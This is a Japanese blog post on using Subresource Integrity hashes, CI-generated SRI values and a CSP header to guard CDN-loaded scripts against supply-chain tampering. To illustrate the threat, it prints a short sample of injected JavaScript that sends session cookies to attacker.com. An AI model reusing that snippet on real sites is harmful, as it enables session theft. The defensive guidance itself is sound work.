「信頼」はハッシュ値で担保せよ:CDN経由のXSSを封殺するSRIの極意
現場でエンジニア諸君と話していると、たまにこういう声を聞く。「CDNを使えば速度も出るし、ライブラリ管理も楽。だから全部CDNに頼っているんだ」。
半分は正解だが、残りの半分は「脆弱性のゲートをわざわざ開けっ放しにしている」ようなものだ。CDN上のライブラリが攻撃者にハイジャックされた瞬間、君たちのWebサイトは一瞬で「攻撃の踏み台」に変わる。これを防ぐための最後の砦がSubresource Integrity (SRI)だ。
今日は、教科書には載っていない「現場での泥臭い運用」と、コピペで即座に導入できる実装術を伝授する。
—
なぜCDNが危険なのか?(PoC:サプライチェーン攻撃の現実)
想像してみてほしい。君たちが愛用しているjQueryやReactのライブラリが、CDNのサーバーサイドで何者かに改ざんされたとする。攻撃者は、ライブラリの末尾に「セッションクッキーを外部サーバーへ送信するスクリプト」を追記する。
// 攻撃者が埋め込んだ悪意あるコードの例
(function(){
const cookie = document.cookie;
fetch(‘https://attacker.com/log?c=’ + btoa(cookie));
})();
これだけで、君たちのユーザーのセッションは全て奪取される。これが「格納型XSS」の亜種であり、サプライチェーン攻撃の典型だ。WAFをどれだけ厳重にチューニングしても、読み込んでいるJSそのものが汚染されていれば、ブラウザは「正規のライブラリ」として実行してしまう。
—
SRI:ハッシュ値による「改ざんの即時検知」
SRIは、ブラウザに「このJSファイルを読み込むときは、指定したハッシュ値と一致するか確認しろ。もし一致しなければ、実行を拒否しろ」と強制する仕組みだ。
1. SRIの実装サンプル
CDNからライブラリを読み込む際、integrity属性を追加する。
ここで重要なのは integrity 属性内のハッシュ値だ。これがファイルの中身と1ビットでも異なれば、ブラウザはコンソールにエラーを吐いて実行を阻止する。
—
現場の悩み:CI/CDでのSRI自動生成
手動でハッシュを計算してHTMLに書く? そんな運用は1週間で破綻する。ライブラリがアップデートされるたびにWebサイトが真っ白になるからだ。
CI/CDパイプライン(GitHub Actionsなど)で自動生成するスクリプトを組むのが正解だ。以下は、ビルド時に自動でハッシュを生成し、設定ファイルに反映させるためのPythonスニペットだ。
import hashlib
import base64
import requests
def generate_sri(url):
# ライブラリのダウンロード
response = requests.get(url)
data = response.content
# SHA-384ハッシュを生成
sha384 = hashlib.sha384(data).digest()
# Base64でエンコードしてSRI形式に変換
sri = “sha384-” + base64.b64encode(sha384).decode(‘utf-8’)
return sri
使用例
url = “https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js”
print(f”integrity='{generate_sri(url)}'”)
これをデプロイフローに組み込めば、「ライブラリを更新したのにSRIの更新を忘れてサイトが死んだ」というヒューマンエラーを物理的に排除できる。
—
さらに固める:CSPによる「SRI強制」
SRIだけでは不十分だ。開発者がうっかりSRIを書き忘れる可能性を考慮し、Content Security Policy (CSP) で「SRIがない外部スクリプトは読み込みを拒否する」設定をサーバー側(Nginxなど)で追加しよう。
Nginx設定ファイル例
SRIを必須とし、信頼できるドメイン以外からの読み込みを禁止する
add_header Content-Security-Policy “script-src ‘self’ https://cdnjs.cloudflare.com; require-sri-for script;”;
require-sri-for script: これにより、SRI属性がないスクリプトタグはブラウザによってブロックされる。
—
セキュリティチーフからの「最後の警告」
SRIは非常に強力だが、あくまで「外部から読み込むファイル」に対する防御だ。君たちの自社サーバーでホスティングしているJSファイルがXSSによって書き換えられた場合、SRIは何も防げない。
1. 外部ライブラリはSRIで縛る。
2. 自社コードは適切にエスケープ(出力時の文脈依存エスケープ)を行う。
3. CSPでそもそも不正なドメインへの通信を遮断する。
セキュリティは「これさえやれば大丈夫」という魔法ではない。こうした小さな防御策を多層的に積み重ねることで、初めて攻撃者の侵入コストを跳ね上げることができるのだ。
さあ、今すぐ君たちのプロジェクトの タグを確認してくれ。integrity 属性が書かれていないCDNライブラリが、君たちのWebサイトの門を開けっ放しにしていないか?
コメント